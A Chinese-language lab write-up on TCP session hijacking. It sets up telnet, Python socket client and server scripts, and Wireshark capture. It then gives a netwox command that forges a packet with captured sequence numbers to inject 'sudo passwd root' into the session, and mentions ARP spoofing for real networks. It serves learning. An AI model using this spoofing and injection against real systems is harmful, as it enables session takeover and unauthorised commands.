环境配置
System: Windows7 x64
Software:
Wireshack 配置
编辑 -> 首选项 -> Protocols -> TCP -> uncheck Relative sequence numbers.
一开始没装winpcap,怎么都发不出去,更别说收到反映了
System: Linux
Software:
- telnetd
1
2
3sudo apt-get install telnetd
sudo apt-get install xinetd
sudo service xinetd status
从0了解TCP
其实详细的也没太看,主要就几点
首先会话劫持就是伪造一个客户端发向服务端的包,TCP验证就看sequence number和acknowledge number
只要抓到了包,知道了这些参数就可以伪造发包了
其实并没有用到上面那么多工具,最后我还是只用wireshack和netwox(netwxg),还有用Python.Socket里面的TCP协议通信,从PC(client)到树莓派(server)之间建立连接,然后发包。
至于在实际环境中,想要捕获数据包就需要ARP欺骗,让数据包从攻击机过就可以了
client.py - 客户端绑定端口,方便实验1
2
3
4
5
6
7
8
9
10
11
12
13
14
15import socket
import time
s = socket.socket()
host = '192.168.0.104'
port = 59999
s.bind((host, port))
s.connect(('192.168.0.105', 49999))
while True:
print(s.recv(1024).decode())
s.send(str("client calling...").encode())
time.sleep(300)
s.close()
server.py1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17import socket
import time
s = socket.socket()
host = '192.168.0.104'
port = 49999
s.bind((host, port))
s.listen(5)
c, addr = s.accept()
while True:
time.sleep(3)
print("Connect Address", addr)
c.send("Welcome".encode())
print(c.recv(1024).decode())
c.close()
用wireshark抓包,然后看包里的数据
用的是netwox的40 Spoof Ip4Tcp packet命令
用netwag构造发包比较方便的,注意最后发送数据telnet是分开发的,每次发几个字符,最后合起来
其实也可以一起发的,发送的数据就是要转成二进制形式,在netwag里面只需要加单引号就可以了
窗口号是随便写的,注意唯一需要换的就是如果分析的包是从服务器到客户端的,那么acknum和seqnum要换一下,如果分析的就是客户端到服务器的就不需要换了,直接用nextseqnum就可以了1
40 --ip4-ttl 128 --ip4-protocol 6 --ip4-src 192.168.0.104 --ip4-dst 192.168.0.105 --tcp-src 59999 --tcp-dst 49999 --tcp-seqnum 2775375568 --tcp-acknum 2356415172 --tcp-ack --tcp-psh --tcp-window 128 --tcp-data "'sudo passwd root'"
这个样子服务器就可以收到伪造的客户端的包然后执行相应操作
结语
socket用raw形式的包,可以直接构造,甚至可以修改协议